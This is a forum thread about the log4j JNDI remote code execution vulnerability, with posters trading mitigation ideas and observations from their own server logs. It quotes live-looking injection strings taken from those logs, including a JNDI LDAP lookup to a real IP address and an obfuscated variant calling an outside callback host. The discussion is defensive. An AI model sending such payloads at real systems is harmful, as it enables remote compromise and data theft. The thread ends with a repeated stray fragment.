A new vulnerability is doing the rounds. It’s in a component called log4j, which is used by Java applications to perform logging. If you aren’t running any Java applications then you are probably all good. If you are running Java applications then this is a nasty one because typically log4j is a third party component used by the application that you are running i.e. you don’t directly control the use of log4j or which version of log4j is in use or when that version might be upgraded.
This is a Remote Code Execution (RCE) vulnerability, so the consequence of not mitigating is that the server process should be assumed to be compromised - which in turn may be mildly bad or very bad, depending on what the server process has access to.
This is a classic example of software having a bit too much functionality and flexibility for its own good.
I’m already seeing frequent probing attempts to a web server e.g. accessing the URL /${jndi:ldap:/45.130.229.168:1389/Exploit}
(JNDI is the Java Naming and Directory Interface.)
It won’t matter that the URL itself will likely give a 404. The only requirement is that the web server bothers to log the failed request, and uses log4j to do so, and log4j interprets that fancy URL as requiring ‘substitution’, and accesses a working, malicious (in this case) LDAP server and (apparently) doesn’t restrict or validate the returned data adequately.
Of course this probe will be completely ineffective in my case. This is just randoms probing all IP addresses looking for vulnerable servers (which need not even be web servers).
One more reason not to allow arbitrary outgoing connections from your server to the internet in general. Only allow access to services that it needs for its proper operation. Balcklist everything else by default.
True. There are many generic mitigations - that will be goodness for this vulnerability and many future ones (and many past ones - I see a heap of attempts against CGI shell functionality that will just download and execute random shell scripts, or at least I assume they do work on someone’s web server).
I do note however that I am already seeing probe attempts that have switched the LDAP server to port 53, which is trickier to put a blanket ban on.
Edit: I’m also seeing /${jndi:dns:...} and, yes, I have no idea whether JNDI supports DNS for lookups as an alternative to LDAP.
port 53, i.e. DNS - run your own DNS, configure it in /etc/resolv.conf, tell network manager to never touch that file.
Running DNS is very cheap on resources.
Then your DNS service would need to be compromised first. DNS servers are ages years old (like, 50 years, which is half an age ), I dare say most of their buffer overruns bugs are discovered and fixed, and odds are order of magnitude smaller to compromise those, than log4j or indeed any other software which is around about 30 years shorter, and has substantially larger code base.
Any vaguely recent Java version will by default use the underlying platform’s configured DNS server for jndi:dns:. So if you have carefully blocked all use of DNS with the internet except by the local DNS server, and configured the server that is running the application that is using log4j to use that local DNS server (presuming that it is a different server) then log4j will just ‘route’ the rogue DNS request through the correct local DNS server.
However I suspect that in the case of jndi:dns: only part of the attack is available.
The full attack, using jndi:ldap:… allows RCE because it will load a class dynamically from a remote location and execute code in the class, and also allows information leakage because information that might be secret to the server (such as a password or key) can be sent as part of the initial LDAP request.
I suspect that when using jndi:dns:… only the information leakage part is available.
Oh dear, is it that braindead, really? I hoped that the crafted malicious ldap resoponse would trigger some kind of buffer overflow in log4j and force an arbitrary code execution that way, but from what you are saying, the road just had been paved for the attackers to use at a whim…
As for information leakage via jndi:dns, no ready-made solution come to my mind. I have a gut feeling there are some mitigation techniques to use for this. I just do not know them.
Anyway, time for me to get some sleep. In my timezone it is so late, that it got early. Sun is almost rising.
That is a trade-off though. On the one hand, the current behaviour is seriously bad but on the other hand it is limited to what the JVM allows i.e. the executing code is still just Java bytecode that can’t escape the JVM (unless perhaps blended with another attack). The executing code would also therefore be subject to any SecurityManager that is installed, which might for example stop the executing code from exfiltrating your application’s database. A native code RCE exploit would, in my opinion, be worse.
The only thing that I am thinking is that the local DNS server could restrict all requests to the INternet class and to expected types (such as A, NS, CNAME, SOA, PTR, MX, TXT, HINFO, AAAA, NAPTR, SRV). My internet-facing DNS servers see all sorts of ridiculous requests that I think real users would never generate.
The purpose of such a restriction on types is not so much to prevent leakage (the restriction can’t achieve that) but to guard against the possibility that it really is possible to instantiate an arbitrary Java class via jndi:dns: and working on the theory that maybe that would be triggered by an unexpected type.
A logging component that can execute code it finds in the logged messages? Sounds like someone did not follow the “do one thing and to it well” philosophy.
Speaking of which, I have come to realize that the important part is really “do one thing”, while the “do it well” part is more a nice-to-have kind of thing.
It sort of makes sense e.g. to give you very flexible control over the logged messages but …
I think the problem here is layering one piece of software on top of another piece of software where both pieces of software offer very flexible functionality (and worse still if the functionality is extensible e.g. via plugins).
In fact, even if the combination is secure today there is always the risk that the addition of new functionality in the lower layer will make the combination insecure in the future. (That isn’t what happened in this case however.)
So, for example, everyone knows that you don’t trust raw user input (which is fundamentally what this vulnerability is about) but when you don’t fully control the functionality of the layer to which you are passing the raw user input, you can’t fully filter or quote the raw user input before passing it down.
With this vulnerability, attackers gain almost unlimited power—they can extract sensitive data, upload files to the server, delete data, install ransomware or pivot to other servers
This is not a privilege escalation. Therefore the attackers can only do what the server process itself can do (unless a blended attack with some other, known or unknown, vulnerability).
A properly hardened server process does not have write (or delete) access to things where it does not need that access; or even read access to things where it does not need that access.
There is certainly the potential for using this exploit as a launching pad for e.g. an attack on other internal and unrelated servers (“pivot to other servers”) - and then it comes down to whether the server process and/or the server’s VM and/or the server’s physical machine is robustly “firewalled”, as commented above originally by @Dwaff.
I would be curious to know what kinds of servers are being attacked, successfully or unsuccessfully.
I am monitoring this attack via attacks on web servers because they are obvious, ubiquitous targets and reliably getting hit quite often. However when I first became aware of this vulnerability a few days ago it was in the context of a DLNA server.
I had a quick look at one of my SMTP servers to see whether any attackers were trying it on there, but there was no sign of it.
Just saw this: ${jndi:${lower:l}${lower:d}a${lower:p}://xf.world80.log4j.bin${upper:a}ryedge.io:80/callback
and if you follow that through, you get the following web page:
Benign testing page- please upgrade log4j
If you're reading this page, that means that you've come to know about it from
logging of some sort, which is awesome! Not many folks read logs.
Now that you're here, we'd love to take this chance to pass along some info: the
best thing you can do right now is upgrade to log4j 2.16.0, available from:
https://logging.apache.org/log4j/2.x/download.html
There are some other tidbits to note:
* Upgrading Java does not protect against these issues
* 2.15.0-rc1 was an incomplete fix and was vulnerable
* Disabling JNDI via runtime arguments is the absolute minimum action to take,
but leaves vulnerable software on your systems.
so maybe there are some whitehat internet citizens attempting to help out.
I get this is benign, but you should be careful posting those strings. If it ended up being a link to ransomware or something, you would’ve just given me the key to locking down a hospital.
Perhaps you wouldn’t have posted it if it was bad, but it’s worth saying anyway.
As a general warning, I agree. Caution is advised.
However to be clear, I’ve posted the content, not an actual link - and the forum software certainly isn’t capable of linkifying the exploit string that I posted. The content as posted has been vetted by me as reasonable advice for anyone who actually is vulnerable to this exploit.
So a person would have to do a bit of work if he or she is determined get potential malware by accessing the underlying link. It is also true that a link can change from being benign content for one user (me) at one time to malware for another user or at another time.
You are right in implying that on the internet you don’t know whom you are dealing with or what the reputation is or trust level should be. I believe that the company in question (BinaryEdge) is whitehat - but on limited evidence.
Genuinely malicious links like the one that I posted earlier require you to use LDAP and specifically and exclusively in the context of JNDI, which simply isn’t going to work in a random web browser. I don’t know. Maybe someone has installed some seriously exotic browser extension that will interpret jndi:ldap:... when it occurs in a forum post. I think Java has been removed from all common web browsers, and hence JNDI has been removed - hence why you would have to have installed an extension - not that a web browser would interpret such a string even in the days when Java was routinely available within the browser.
Also, as far as I can tell, that particular site has already been shut down. (That’s the problem in probing all IP addresses. Sooner or later you hit someone who reports you for abuse. So each exploit server has a very limited lifespan before the attackers move to a different server.)
Web server logs. That is, a log of all requests that are coming into a number of web servers that I run.
None of my web servers is vulnerable to this problem. However attackers don’t know that. They are just trying all IP addresses, scanning for vulnerable servers.
For clarity, it is not just web servers that are potentially vulnerable. Any server that
can communicate relatively freely with the internet, and
uses log4j for logging, and
allows the remote attacker to provide text that will ultimately be logged
is potentially vulnerable.
Of those conditions, the second (uses log4j) is probably the least likely to be true for most people. However in my home infrastructure I have already found two servers that do use log4j, and also found one server at work that uses log4j. So it is a fairly widely used package! So it is worth looking into this if you have any servers that communicate with the internet.
And just a heads up but I have seen the telltale ${jndi:...} string in a mail server (internet-facing i.e. inbound SMTP) log for the first time. So attackers are probing SMTP servers as well as web servers.
), I dare say most of their buffer overruns bugs are discovered and fixed, and odds are order of magnitude smaller to compromise those, than log4j or indeed any other software which is around about 30 years shorter, and has substantially larger code base.